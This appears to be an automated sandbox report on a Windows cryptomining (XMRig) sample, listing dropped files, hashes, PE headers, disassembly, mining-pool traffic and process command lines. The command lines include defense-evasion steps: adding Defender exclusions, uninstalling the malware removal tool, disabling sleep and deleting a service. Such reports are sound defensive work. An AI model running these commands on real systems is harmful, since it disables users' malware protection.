C:\Windows\Temp\kwjarrnckong.sys	services64.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	5EZLEXDveC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	6R0yrvM8Hk.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	Step 3 - Setup_Install.exe	Get hash	malicious	Xmrig	Browse
	Step 3 - Setup_Install.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe

Download File

Process:	C:\Users\user\Desktop\feZvV3DCj8.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2629120
Entropy (8bit):	6.545300182339068
Encrypted:	false
SSDEEP:	49152:TekavghTLM/wzgwPbzBRhoVSCqZA2XBRSi7qn9+4WNVDhWtvXSVEm:Dzh0/wzgwPJRhkwS254mVI1XSVE
MD5:	444B7B63554B45CFD9CF9D48F05F1196
SHA1:	E2F008B7F927B0AEAF446DE5812CC696FE65CE2A
SHA-256:	21AB5DCBBCA905F8499750B0940B7D5A139EEF194D546A0D1AF61E157FB3BA0E
SHA-512:	A328B4BB60BD134F2D73A12D4A1F7C15B7D5C1A5B3C80F37D2DB46830B4B4095C4A75539B3B6816EFFEC5DC3B1C3B32ED2FE2097CBD061E8EFD0F25898FF60DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 63%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...4.]g.........."......z....'.....@..........@..............................(...........`.....................................................<............@(..............p(.x...............................(.......8...............X............................text....y.......z.................. ..`.rdata..`............~..............@..@.data...P.'......z'.................@....pdata.......@(.......(.............@..@.00cfg.......P(.......(.............@..@.tls.........`(.......(.............@....reloc..x....p(.......(.............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllullkv/tz:NllU+v/
MD5:	6442F277E58B3984BA5EEE0C15C0C6AD
SHA1:	5343ADC2E7F102EC8FB6A101508730898CB14F57
SHA-256:	36B765624FCA82C57E4C5D3706FBD81B5419F18FC3DD7B77CD185E6E3483382D
SHA-512:	F9E62F510D5FB788F40EBA13287C282444607D2E0033D2233BC6C39CA3E1F5903B65A07F85FA0942BEDDCE2458861073772ACA06F291FA68F23C765B0CA5CA17
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_13mn0dl1.ffp.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3plhlblf.ftt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cwhtavis.0rj.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohkkjxsv.uw5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul2lllllZ:NllUClll
MD5:	4D98AF7F487E62A9C1D44B02674BAB7E
SHA1:	1B492B2208949EB7F18C32F309C296B4258DBA65
SHA-256:	1E3ED9CE6343DA27C6759A0F05D6DD0B92B3A9C63B6492A2DA4E4F371D9F56DA
SHA-512:	60EC859B84836E865E767FE858E70ACEC6F0FB8077B2E51D6CB4095533433B791C9A16396D69279C7F896DF003A1ED6656087B43EFA16523DA4026317CBB49E6
Malicious:	false
Preview:	@...e.................................:..............@..........

C:\Windows\Temp\__PSScriptPolicyTest_1u1kgdpu.h23.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_3uqruvhq.oct.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_tmsybhah.s1v.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_xnro3nmk.ar0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\kwjarrnckong.sys

Download File

Process:	C:\ProgramData\dwsvhengdbro\sujlgqpnxcwv.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: services64.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5EZLEXDveC.exe, Detection: malicious, Browse Filename: 6R0yrvM8Hk.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Step 3 - Setup_Install.exe, Detection: malicious, Browse Filename: Step 3 - Setup_Install.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.545300182339068
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	feZvV3DCj8.exe
File size:	2'629'120 bytes
MD5:	444b7b63554b45cfd9cf9d48f05f1196
SHA1:	e2f008b7f927b0aeaf446de5812cc696fe65ce2a
SHA256:	21ab5dcbbca905f8499750b0940b7d5a139eef194d546a0d1af61e157fb3ba0e
SHA512:	a328b4bb60bd134f2d73a12d4a1f7c15b7d5c1a5b3c80f37d2db46830b4b4095c4a75539b3b6816effec5dc3b1c3b32ed2fe2097cbd061e8efd0f25898ff60db
SSDEEP:	49152:TekavghTLM/wzgwPbzBRhoVSCqZA2XBRSi7qn9+4WNVDhWtvXSVEm:Dzh0/wzgwPJRhkwS254mVI1XSVE
TLSH:	8DC533964C52E5FAC91C003C95032EF3535938C2879584F3E5A56AB49A30FF0967FEBA
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...4.]g.........."......z....'.....@..........@..............................(...........`........................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140001140
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x675DC234 [Sat Dec 14 17:36:52 2024 UTC]
TLS Callbacks:	0x40001760, 0x1, 0x400017e0, 0x1
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	de41d4e0545d977de6ca665131bb479a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
dec eax
mov eax, dword ptr [00007ED5h]
mov dword ptr [eax], 00000001h
call 00007F0C18F8448Fh
nop
nop
nop
dec eax
add esp, 28h
ret
nop
inc ecx
push edi
inc ecx
push esi
push esi
push edi
push ebx
dec eax
sub esp, 20h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov edi, dword ptr [eax+08h]
dec eax
mov esi, dword ptr [00007EC9h]
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F0C18F844B0h
dec eax
cmp edi, eax
je 00007F0C18F844ABh
dec esp
mov esi, dword ptr [00009649h]
nop word ptr [eax+eax+00000000h]
mov ecx, 000003E8h
inc ecx
call esi
xor eax, eax
dec eax
cmpxchg dword ptr [esi], edi
sete bl
je 00007F0C18F84487h
dec eax
cmp edi, eax
jne 00007F0C18F84469h
dec eax
mov edi, dword ptr [00007E90h]
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F0C18F8448Eh
mov ecx, 0000001Fh
call 00007F0C18F8BAF4h
jmp 00007F0C18F844A9h
cmp dword ptr [edi], 00000000h
je 00007F0C18F8448Bh
mov byte ptr [002817C9h], 00000001h
jmp 00007F0C18F8449Bh
mov dword ptr [edi], 00000001h
dec eax
mov ecx, dword ptr [00007E7Ah]
dec eax
mov edx, dword ptr [00007E7Bh]
call 00007F0C18F8BAEBh
mov eax, dword ptr [edi]
cmp eax, 01h
jne 00007F0C18F8449Bh
dec eax
mov ecx, dword ptr [00007E50h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa518	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x284000	0x180	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x287000	0x78	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x90a0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9410	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xa6b0	0x158	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x79c6	0x7a00	4e59273ec3fc4a5dfd8c8cfacc0f69cf	False	0.5123271004098361	data	6.192998367163156	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x1c60	0x1e00	b6bf6884e7e89463fe25ed57314cb2e7	False	0.4415364583333333	zlib compressed data	4.596505741847398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xb000	0x278850	0x277a00	50fd76bd2dcaf43eb952b960ec07ab85	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x284000	0x180	0x200	eca943f4989e982735bc8209ef2a0e56	False	0.509765625	data	3.144168458376668	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.00cfg	0x285000	0x10	0x200	b18c7380298e104adf73576fa46bccc1	False	0.04296875	data	0.15127132530476972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x286000	0x10	0x200	bf619eac0cdf3f68d496ea9344137e8b	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x287000	0x78	0x200	7315fdbdd145c1d97dc09c140266bdcd	False	0.232421875	data	1.4154353229231451	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL	Import
msvcrt.dll	__C_specific_handler, __getmainargs, __initenv, __iob_func, __set_app_type, __setusermatherr, _amsg_exit, _cexit, _commode, _fmode, _initterm, _onexit, _wcsicmp, _wcsnicmp, abort, calloc, exit, fprintf, free, fwrite, malloc, memcpy, memset, signal, strlen, strncmp, vfprintf, wcscat, wcscpy, wcslen, wcsncmp
KERNEL32.dll	DeleteCriticalSection, EnterCriticalSection, GetLastError, InitializeCriticalSection, LeaveCriticalSection, SetUnhandledExceptionFilter, Sleep, TlsGetValue, VirtualProtect, VirtualQuery

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 18:50:12.328542948 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:12.448750019 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:12.449466944 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:12.531440020 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:12.656408072 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:13.722997904 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:13.723402023 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:13.723462105 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:13.723490953 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:13.724083900 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:13.724119902 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:13.724157095 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:13.724162102 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:13.724217892 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:13.725215912 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:13.847414017 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:14.144526005 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:14.186557055 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:29.736953974 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:29.936275005 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:55.542404890 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:55.592333078 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:50:59.816821098 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:50:59.857810974 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:51:28.901381969 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:51:28.951255083 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:51:29.902151108 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:51:29.951241016 CET	49704	12222	192.168.2.5	141.95.98.19
Dec 14, 2024 18:51:59.959786892 CET	12222	49704	141.95.98.19	192.168.2.5
Dec 14, 2024 18:52:00.091921091 CET	49704	12222	192.168.2.5	141.95.98.19

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 14, 2024 18:50:12.169903040 CET	60734	53	192.168.2.5	1.1.1.1
Dec 14, 2024 18:50:12.314102888 CET	53	60734	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 14, 2024 18:50:12.169903040 CET	192.168.2.5	1.1.1.1	0x69fd	Standard query (0)	zeph.2miners.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 14, 2024 18:50:12.314102888 CET	1.1.1.1	192.168.2.5	0x69fd	No error (0)	zeph.2miners.com		141.95.98.19	A (IP address)	IN (0x0001)	false

Target ID:	0
Start time:	12:50:04
Start date:	14/12/2024
Path:	C:\Users\user\Desktop\feZvV3DCj8.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\feZvV3DCj8.exe"
Imagebase:	0x7ff6c8a80000
File size:	2'629'120 bytes
MD5 hash:	444B7B63554B45CFD9CF9D48F05F1196
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:50:04
Start date:	14/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:50:04
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff68d670000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff6fae20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff6fae20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff6fae20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff6fae20000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "STEUPFSB"
Imagebase:	0x7ff7f1580000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	12:50:08
Start date:	14/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

